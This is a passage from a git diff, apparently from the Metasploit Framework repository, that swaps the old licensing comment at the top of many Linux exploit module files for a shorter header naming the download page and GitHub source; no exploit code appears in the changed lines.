redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 86cda53b68..5551bedfb4 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index 98dc1ddfc3..bb8c137b99 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 52d3fb482d..7e778969bc 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index 7a96736a86..a1b20531f8 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index 15c3aab895..d89036bbc8 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index c241f1a7ce..5a6242c404 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index 0b4488d10a..0b2d857f61 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index b3d97e25f4..efb32019cc 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb index 40d876a636..1a96dbe10c 100644 --- a/modules/exploits/linux/http/peercast_url.rb +++ b/modules/exploits/linux/http/peercast_url.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb index 94357ccf7d..1f18ebc1d2 100644 --- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb +++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index faa9a10de8..6a08fb4f82 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index 9cc07808ac..b7b3f15e6d 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index 6e856d0899..2c61bb5c8f 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb index a4968da42a..9be98b2b95 100644 --- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb index c75ec0d054..63b7031cbc 100644 --- a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index 9c27362d26..676a4e30d6 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 4b086a2224..c1dcf8df2e 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index 8af93fb601..6778774842 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb index fedce3ef46..141769bbc8 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index 807918e313..43c01773c4 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index 8a2e665796..5a81eed3a1 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 9671f001e3..e73047f01f 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 404d09093a..a8a5e83750 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index 6645f527fc..b6638ecdf2 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 718eb67862..511118a9f9 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index f061e6c8bd..a9ce4c0156 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index f8b88a2f0c..3fe23de2e7 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb index d78a1ac894..2a2c9ae4f4 100644 --- a/modules/exploits/linux/imap/imap_uw_lsub.rb +++ b/modules/exploits/linux/imap/imap_uw_lsub.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index 753aaa8881..1bfc4d5472 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb index 35a53e4e13..ccbd2f44eb 100644 --- a/modules/exploits/linux/local/kloxo_lxsuexec.rb +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 09e5714078..849aa1b7e3 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index 0c85bd033e..c73a8a4f4d 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index e455558721..4de931fa2a 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 724645ab18..9b8aa1f9f4 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index aa68035261..36032a4178 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb b/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb index 63cc451cf3..f75f54a916 100644 --- a/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb +++ b/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # Madwifi remote kernel exploit diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb index f884ffbf05..667e6ae0eb 100644 --- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb +++ b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index db1755de6a..8f70d51748 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/projects/framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/misc/gld_postfix.rb b/modules/exploits/linux/misc/gld_postfix.rb index c4e8c0126f..7244bfefe7 100644 --- a/modules/exploits/linux/misc/gld_postfix.rb +++ b/modules/exploits/linux/misc/gld_postfix.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index 02bc6a02d5..9e3c2f0ac3 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 7d1ce1f59e..c034a2fb32 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/misc/hplip_hpssd_exec.rb b/modules/exploits/linux/misc/hplip_hpssd_exec.rb index 02db67ef37..f238723076 100644 --- a/modules/exploits/linux/misc/hplip_hpssd_exec.rb +++ b/modules/exploits/linux/misc/hplip_hpssd_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_inet_connect.rb b/modules/exploits/linux/misc/ib_inet_connect.rb index 9b5e8e9fc5..778aafe12d 100644 --- a/modules/exploits/linux/misc/ib_inet_connect.rb +++ b/modules/exploits/linux/misc/ib_inet_connect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_jrd8_create_database.rb b/modules/exploits/linux/misc/ib_jrd8_create_database.rb index 70611efa7d..c745a0145d 100644 --- a/modules/exploits/linux/misc/ib_jrd8_create_database.rb +++ b/modules/exploits/linux/misc/ib_jrd8_create_database.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_open_marker_file.rb b/modules/exploits/linux/misc/ib_open_marker_file.rb index 7f1f1a4ef6..53d54df986 100644 --- a/modules/exploits/linux/misc/ib_open_marker_file.rb +++ b/modules/exploits/linux/misc/ib_open_marker_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb index b8ccba26c1..d4cda50c05 100644 --- a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb +++ b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/lprng_format_string.rb b/modules/exploits/linux/misc/lprng_format_string.rb index 66eb38aebc..b2912b44ec 100644 --- a/modules/exploits/linux/misc/lprng_format_string.rb +++ b/modules/exploits/linux/misc/lprng_format_string.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb index 36f5191623..05c22f6a2c 100644 --- a/modules/exploits/linux/misc/mongod_native_helper.rb +++ b/modules/exploits/linux/misc/mongod_native_helper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index a1a43199d5..f96767e3bd 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/exploits/linux/misc/netsupport_manager_agent.rb b/modules/exploits/linux/misc/netsupport_manager_agent.rb index a7e5a1d1ce..b8289ab8a6 100644 --- a/modules/exploits/linux/misc/netsupport_manager_agent.rb +++ b/modules/exploits/linux/misc/netsupport_manager_agent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index fa14b1a8f3..d65f7edfd2 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on 